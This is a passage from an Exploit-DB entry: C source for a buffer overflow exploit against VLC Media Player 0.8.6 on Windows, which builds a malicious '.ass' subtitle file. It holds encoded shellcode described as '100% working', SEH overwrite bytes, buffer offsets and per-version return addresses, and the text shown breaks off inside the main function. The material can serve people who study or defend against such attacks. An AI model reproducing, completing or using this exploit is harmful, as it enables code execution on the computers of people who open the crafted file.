Exploit-DB #11174
Description: VideoLAN VLC Media Player 0.8.6 a/b/c/d (Win32 Universal) - '.ass' Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-01-17
Author: fl0 fl0w

Exploit:
/*[%]VLC vs 0.6.8 [b][c][d][a] .ASS file buffer overflow exploit(win32 universal)
  [%]Works every time,works on any win32 OS,tested on Windows xp sp2.
  
  [%]My doctor said that I have seriuouse problems ,but I think he's full of it
     because the voices tell me I'm ok!*/
#include<stdio.h>
#include<string.h>
#include<stdint.h>

#define File            "subtitle666.ass"
#define OGGfile         "openme.ogg"
#define IF(x,NULL)      if(x==NULL)
#define FOR(i,a,b)      for(i=a;i<b;++i)
#define WHILE(z)        while(z>0)
#define is_bigendian()  ((*(char*)&i)==0)
#define EIP_OFFSET      163852
#define SEH_OFFSET      165248
#define NEXTSEH_OFFSET  165244   
/*-------------prototypes---------*/
   //100% working shellcode
   char vlcshellcode[]=
   {
        "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3d"
        "\xba\xb1\xd9\x83\xeb\xfc\xe2\xf4\xc1\x52\xf5\xd9\x3d\xba\x3a\x9c"
        "\x01\x31\xcd\xdc\x45\xbb\x5e\x52\x72\xa2\x3a\x86\x1d\xbb\x5a\x90"
        "\xb6\x8e\x3a\xd8\xd3\x8b\x71\x40\x91\x3e\x71\xad\x3a\x7b\x7b\xd4"
        "\x3c\x78\x5a\x2d\x06\xee\x95\xdd\x48\x5f\x3a\x86\x19\xbb\x5a\xbf"
        "\xb6\xb6\xfa\x52\x62\xa6\xb0\x32\xb6\xa6\x3a\xd8\xd6\x33\xed\xfd"
        "\x39\x79\x80\x19\x59\x31\xf1\xe9\xb8\x7a\xc9\xd5\xb6\xfa\xbd\x52"
        "\x4d\xa6\x1c\x52\x55\xb2\x5a\xd0\xb6\x3a\x01\xd9\x3d\xba\x3a\xb1"
        "\x01\xe5\x80\x2f\x5d\xec\x38\x21\xbe\x7a\xca\x89\x55\xc4\x69\x3b"
        "\x4e\xd2\x29\x27\xb7\xb4\xe6\x26\xda\xd9\xd0\xb5\x5e\xba\xb1\xd9"
   };      
   char data[]= 
   { 
        "[Script Info]\n"
        "; Script generated by Aegisub\n"
        "; http://www.aegisub.net\n"
        "Title: Neon Genesis Evangelion - Episode 26 (neutral Spanish)\n"
        "Original Script: RoRo\n"
        "Script Updated By: version 2.8.01\n"
        "ScriptType: v4.00+\n"
        "Collisions: Normal\n"
        "PlayResY: 600\n"
        "PlayDepth: 0\n"
        "Timer: 100,0000\n"
        "Video Aspect Ratio: 0\n"
        "Video Zoom: 6\n"
        "Video Position: 0\n"
        "[V4+ Styles]\n"
        "Format: Name, Fontname, Fontsize, PrimaryColour, SecondaryColour, OutlineColour, BackColour, Bold, Italic, Underline, StrikeOut, ScaleX, ScaleY, Spacing, Angle, BorderStyle, Outline, Shadow, Alignment, MarginL, MarginR, MarginV, Encoding\n"
        "Style: DefaultVCD, Arial,28,&H00B4FCFC,&H00B4FCFC,&H00000008,&H80000008,-1,0,0,0,100,100,0.00,0.00,1,1.00,2.00,2,30,30,30,0\n"
        "[Events]\n"
        "Format: Layer, Start, End, Style, Name, MarginL, MarginR, MarginV, Effect, Text\n"
        "Dialogue:"  
        "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" //165254 junk bytes to cause exception
   };         
   char banner[]=
   {
        "******************************************************************\n"
        "       VLC 0.6.8x Buffer overflow exploit(win32 universal)      *\n"   
        "                                                                 *\n"       
        "                          by fl0 fl0w                            *\n"
        "******************************************************************\n"
   };  
   char arguments[]=
   { 
        "---------------------------\n"
        "Too few args!              \n" 
        "sploit.exe [target 1/2/3/4]\n"
        "---------------------------\n"
   };
   
    // data + 165254 nop + shellcode + szJMP(strcat)
  /*--------extern variables----------*/
     char b[1000000];
     char c[1000000];
     char d[1000000];
     char f[1000000]; //1402 bytes nop
     char seh[]="\x87\x75\x40\x4B";  
     char nseh[]="\x38\xFA\x74\x02";
     int i;
     int input;
     char bf[4];
     int t;
     
 /*-------prototypes----------*/
     int buildF();
     int cpy(unsigned int,char*);
     void print(char*);
     void gen_random(char*, const int);
     unsigned int getFsize(FILE*,char*);
     int cpystr(char* dest,int,int);
     int oggf(char* fname);
     int Targetprint();
     
 /*--------ogg file format---------*/    
    typedef struct aa
    {  //28 bytes or 224 bits
     uint32_t   Cp;    // Capture pattern &#65533; 32 bits           
     uint8_t    Ver;    // Version &#65533; 8 bits
     uint8_t    H;    // Header type &#65533; 8 bits
     uint64_t   Gp;   //  Granule position &#65533; 64 bits
     uint32_t   Bsn;  //   Bitstream serial number &#65533; 32 bits
     uint32_t   Psn;  //   Page sequence number &#65533; 32 bits
     uint32_t   C;    // Checksum &#65533; 32 bits
     uint8_t    Ps;    // Page segments &#65533; 8 bits
     uint8_t    St;    // Segment table 8 bit
    }ogg;
/*------targets------------*/
     struct 
     {
          unsigned int eip;
          char* etype;  
     }RET[]=
     {
     {
         0x026DFA38,
         "VLC 0.8.6       c"
     }, 
     {
         0x0263FA38,
         "VLC 0.8.6     b,d"
     }, 
     {
         0x0267FA38,
         "VLC 0.8.6       a"
     }, 
     {
         0x0267FA38,
         "VLC 0.8.6 b test1"
     }, 
     {
         0x02B6FA38,
         "VLC 0.8.6     RC1"
     }, 
     {
         NULL,NULL
     }
     };              
/*------main--------*/
    int main(int argc,char* argv[])
    {
          if(argc<2) 
          {
           system("CLS");
           
           printf("%s%s",banner,arguments); 
           
           Targetprint();exit(0);
           }
           
            input=atoi(argv[1]);           
          
            switch(input)
            {
                   case 0:
                   reverseInt(RET[0].eip);     
                   cpy(RET[0].eip,bf);       
                   break;
                   
                   case 1:
                   reverseInt(RET[1].eip);     
                   cpy(RET[1].eip,bf);
                   break;
                                 
                   case 2:
                   rev